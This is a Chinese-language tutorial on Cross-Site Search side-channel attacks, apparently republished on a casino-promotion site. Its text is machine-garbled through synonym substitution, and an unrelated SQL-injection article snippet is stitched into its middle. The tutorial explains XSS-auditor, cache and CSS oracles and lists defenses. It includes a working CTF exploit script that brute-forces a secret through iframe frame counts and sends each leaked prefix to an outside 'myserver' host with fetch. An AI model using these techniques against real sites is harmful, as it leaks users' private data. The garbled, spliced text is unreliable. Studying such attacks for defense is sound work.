Cross-Site Search | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Cross-Site Search

申博_安全防护 申博 33次浏览 未收录 0个评论

申博官方网

申博官方网站知名于海内外,被广大网民所爱不释手。申博官网网站是源于菲律宾申博官网公司打造的一个服务大众的娱乐网站。轮盘骰子,经典桌游等等娱乐游戏让用户体验各种刺激和惊喜。官方网站全力保证绿色、安全,绝无不公平的现象存在。稳定、有保障的娱乐休闲方式,申博开户也快捷方便。我们竭诚为您打造让您满意的平台,如有需求,联系我们!

,

Cross-Site Search

1.观点诠释

Cross-Site Search 又称 XS-Search 是在没有办法在受害者及其同源网站注入js剧本的状况下, 经由过程一些其他手腕泄漏受害者网站的用户数据的一类进击手段的统称也是常说的 侧信道进击 , 由于条件是不能实行js代码, 所以 XS-Search 很难猎取用户的cookie. 然则依旧能够经由过程泄漏用户的敏感数据形成伤害
由于 XS-Search 是一类进击手段的统称所以提及观点会较为笼统, 下面用几种详细的进击手段来申明这类进击的详细寄义

2.实例剖析

2.1 经由过程Chrome xss auditor

在chrome中假如经由过程一个iframe翻开一个页面, 但这个页面被准确加载时修正 window.hash 不会触发iframe的onload事宜, 假定这个页面加载毛病, 包含但不限于, 要求超时, 域名不存在, 被chrome XSS过滤器的block形式屏障, 当涌现这些毛病时, 修正一个iframe的hash会再一次触发onload事宜.

下图中我们尝试在别的站点翻开一个先知的iframe, 果不其然加载失利了, 此时修正url中#后的值, 再次触发onload事宜

下图是一个能够胜利翻开的站点, 修正src中#后的部份, onload事宜仅触发一次
(想复现的同砚记得肯定要加 www.baidu.com/ 中的谁人 / 假如少了这个字符, 页面每一次都邑跳转到 www.baidu.com/ 也就是说每一次都邑触发onload事宜
Cross-Site Search

整理出以下逻辑, 这个逻辑也能够零丁用来在在浏览器中扫描端口(仅能扫描web效劳.

修正iframe的src中"#"后的部份
    ├── 触发onload事宜 -> 该iframe未被准确加载 
    └── 未触发onload  -> 该iframe准确加载

诳骗XSS auditor, chrome的XSS auditor自身的逻辑比较简朴, 推断有无输入敏感payload, 有推断页面中有无和本身长的一样的, 假如有敏感的payload, 同时页面中也有和本身长得一样的内容就会屏障.

假定页面中有以下内容, 个中key这个变量的内容是我们要猎取的

<script>key="blalalalalalalalalalala"</script>

http://test.site?nothing=<script>private_key=" -> 页面加载失利
http://test.site?nothing=<script>private_key="a -> 页面加载胜利 -> 与页面内容不婚配
http://test.site?nothing=<script>private_key="b -> 页面加载失利 -> 与页面内容婚配 -> 牢固当前字符, 爆破下一位.
http://test.site?nothing=<script>private_key="ba -> 页面加载胜利 -> 与页面内容不婚配
….
http://test.site?nothing=<script>private_key="bl -> 页面加载失利
….
直到爆破到 " 为止

2.2 经由过程页面缓存

能够经由过程一些静态资本, 如图片, js剧本, css等静态资本是不是被缓存来推断用户接见过那些页面, 经由过程让站点必定会返回报错的体式格局接见那些静态资本假如胜利接见则肯定是从缓存中掏出的:

  • 经由过程站点本身的waf,安全策略使效劳端报错.
  • 经由过程掌握http头部(或其他内容)使效劳端报错.

我们就拿先知来举例吧, 首先找一个保留在先知文章中的图片, 复制下他的链接.
在burp中接见一下:
Cross-Site Search

获得了一个准确的复兴(空话

那如今我们给这个要求加一点东西
Cross-Site Search

小心的waf立马发明了我的不一般行动对其举行了阻拦.

在浏览器中referer头是能够被我们掌握的(某些状况
找一个能够在线编辑HTML的网站, 翻开disable catch看看能不能翻开之前挑选的这张图片
(这里忘加了disable catch, 然则不影响效果
Cross-Site Search

某Shop供应商后台SQL Injection(二)

0x01 前言 TPshop开源商城系统( Thinkphp shop的简称 ),是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城,系统PC+后台是基于ThinkPHP MVC构架开发的跨平台开源软件,设计得非常灵活,具有模块化架构体系和丰富的功能,易于与第三方应用系统无缝集成,在设计上,包含相当全面,以模

没有什么问题, 依样画葫芦加一点敏感的payload
Cross-Site Search

发明图片加载不出来了, 这个缘由就是在于referer中敏感的payload

如今我们关掉disable catch, 再反复一遍适才的步骤
Cross-Site Search

一般加载没有什么好说的.

如今加上敏感的payload, 图片依旧能够纪录出来, 由于使用了上一个要求的缓存, 实际上并没有向效劳器发送要求
Cross-Site Search

那末就能够整理出以下逻辑

在referer中到场敏感内容
    ├── 图片A加载失利 -> 图片A没有被缓存 -> 用户没有翻开过带有图片A的文章(能够许多,然则先如许归结
    └── 图片A加载胜利 -> 图片A被缓存    -> 用户翻开过带有图片A的文章

固然这只是一个思绪, 晓得他人看过哪些文章自身并没有什么伤害.

2.3 经由过程 iframe.contentWindow 举行盲注

这个的背景是一道CTF问题, 在搜刮笔记时, 一切被搜刮到的笔记都邑零丁作为一个iframe列出, 而管理员具有的一个私有的笔记, 这个笔记的内容中安排了flag, 问题没有限定外域翻开(即没有设置 X-Frame-Options ), 能够经由过程 Window.frames 接口经由过程 frames.length 推断搜刮的效果个数从而盲注获得flag.
详细来说就是:
http://challenges.fbctf.com:8082/search?query=fb{ => frames.length = 1
http://challenges.fbctf.com:8082/search?query=fb{a => frames.length = 0
http://challenges.fbctf.com:8082/search?query=fb{b => frames.length = 0
http://challenges.fbctf.com:8082/search?query=fb{c => frames.length =1
http://challenges.fbctf.com:8082/search?query=fb{ca => frames.length = 0
…..
直到发明}为止

<!DOCTYPE html>
<html>

<head>
    <title>fbctf secret note keeper</title>
</head>

<body></body>
<script>
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var x = document.createElement('iframe');

function search(leak, charCounter) {
    var curChar = chars[charCounter];
    x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
    document.body.appendChild(x);
    console.log("leak = " + leak + curChar);
    x.onload = () => {
        if (x.contentWindow.frames.length != 0) {
            fetch('http://myserver/leak?' + escape(leak), {
                method: "POST",
                mode: "no-cors",
                credentials: "include"
            });
            leak += curChar
        }
        search(leak, (charCounter + 1) % chars.length);
    }
}

function exploit() {
    search("fb{", 0);
}

exploit();
</script>

</html>

问题来自 Facebook CTF

2.4经由过程CSS

CSS能够经由过程挑选器, 为指定的内容举行指定的衬着, 经由过程挑选器能够猎取保留在属性中的数据.
能够经由过程自定义连字的体式格局猎取标签中的内容
(CSS挑选器没法经由过程标签内容举行挑选

详细的思绪参考:
口试.pptx
(附件中另有一份

这是口试时写的PPT的一部份, 这部份当时是参考下面两篇文章写的, 当时为了讲清楚PPT中以至另有视频
https://xz.aliyun.com/t/3075

Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Jquery定时进击:
https://portswigger.net/research/abusing-jquery-for-css-powered-timing-attacks
进击场景较少, 速率较慢, 一笔带过

3.防备计划

在防备方面须要浏览器厂商和效劳提供商两边的勤奋
在浏览器方面:
Safari采用了 Verified Partitioned Cache 用来防备用户被基于缓存的体式格局追踪, 极大的减缓了经由过程页面缓存举行历史记录追踪的进击体式格局.
在效劳提供商方面:

  1. 准确的设置有用的CSRF-Token
  2. 设置cookie的属性为same-site
  3. 准确的设置 X-Frame-Options 头部, 只允许信托的站点翻开站点的iframe
  4. 验证码, 部份 XS-search 进击须要频仍的翻开页面, 在用户要求凌驾肯定频次时弹出一个有用的验证码能够减缓 XS-Search
  5. 合理的设置CSP

4.小结

经由过程上面几个例子应当大抵描绘出来 XS-Search 的样貌, 然则这类进击手腕并不新鲜, 这类进击思绪最早一次被应用在2006年

  1. 破绽应用庞杂, 每个破绽的逻辑思绪都很庞杂, 哪怕是在CTF这类简朴笼统的破绽环境中应用起来都不简朴.
  2. 须要留住用户在当前页面, 须要猎取的信息越多须要的时候就越长.

然则假如只是猎取少许然则敏感的信息却有奇效, 比方: 一些钱包中的付出token, 银行卡的卡号等…

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Cross-Site Search
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址